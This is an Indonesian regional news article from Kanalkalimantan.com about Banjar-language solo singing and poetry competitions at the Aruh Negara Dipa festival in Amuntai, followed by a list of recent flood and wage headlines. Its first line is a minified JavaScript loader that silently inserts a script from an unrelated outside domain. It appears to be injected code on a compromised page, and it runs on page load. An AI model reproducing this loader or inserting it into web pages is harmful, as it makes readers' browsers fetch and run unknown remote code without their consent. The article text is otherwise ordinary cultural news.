(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Menyanyi dan Puisi Bahasa Banjar dalam Aruh Negara Dipa


KANALKALIMANTAN.COM, AMUNTAI – Pelestarian budaya Banjar dalam gelaran Aruh Negara Dipa Festival Budaya Banua digelar di Kabupaten Hulu Sungai Utara (HSU) berlangsung dua hari, 19-20 September 2025, di Aula Idham Chalid Amuntai.

Salah satu rangkaian kegiatan dalam festival ini adalah lomba menyanyi solo berbahasa Banjar dan lomba cipta serta baca puisi berbahasa Banjar.

Lomba menyanyi solo bahasa Banjar menampilkan puluhan peserta yang membawakan lagu-lagu daerah penuh makna, baik dalam bentuk lagu lama maupun lagu ciptaan baru.

Penampilan para peserta mendapat sambutan meriah dari penonton yang memadati area panggung utama festival.

Baca juga: Olahraga Padel Merambah Ibu Kota Kalsel

Sementara itu, dalam lomba cipta dan baca puisi Bahasa Banjar, para peserta menunjukkan kreativitas dan kepekaan sastra mereka lewat untaian kata-kata yang menggugah.

Tema puisi banyak mengangkat soal kehidupan sehari-hari masyarakat Banjar, kecintaan terhadap alam, serta nilai-nilai budaya lokal yang mulai luntur di tengah arus modernisasi.

Festival ini diselenggarakan sebagai bentuk komitmen Pemerintah Kabupaten HSU melestarikan dan mengembangkan kekayaan budaya nahasa Banjar sebagai identitas masyarakat Banua.

Baca juga: Jika Dibongkar, Pemilik Warung Remang-remang Ilegal Minta Ganti Rugi

Kepala Bidang Kebudayaan Disdikbud HSU,  Rahmawati, mengatakan bahwa kegiatan ini merupakan wadah penting bagi generasi muda untuk lebih mencintai bahasa daerah mereka.

“Kita ingin anak-anak muda banua tidak hanya bisa berbahasa Banjar, tapi juga bisa menggunakannya untuk mengekspresikan seni dan budaya dalam berbagai bentuk, seperti lagu dan puisi,” ujarnya, Sabtu (20/9/2025).

Pemenang lomba bakal mendapatkan penghargaan dan hadiah menarik dari panitia, serta berkesempatan tampil kembali dalam acara puncak penutupan Festival Budaya Banua. Para juri terdiri dari budayawan, seniman lokal, dan akademisi yang berkompeten di bidangnya. (Kanalkalimantan.com/dew)

Reporter: dew
Editor: bie


Risa

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

10 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

10 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

11 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

13 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

19 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.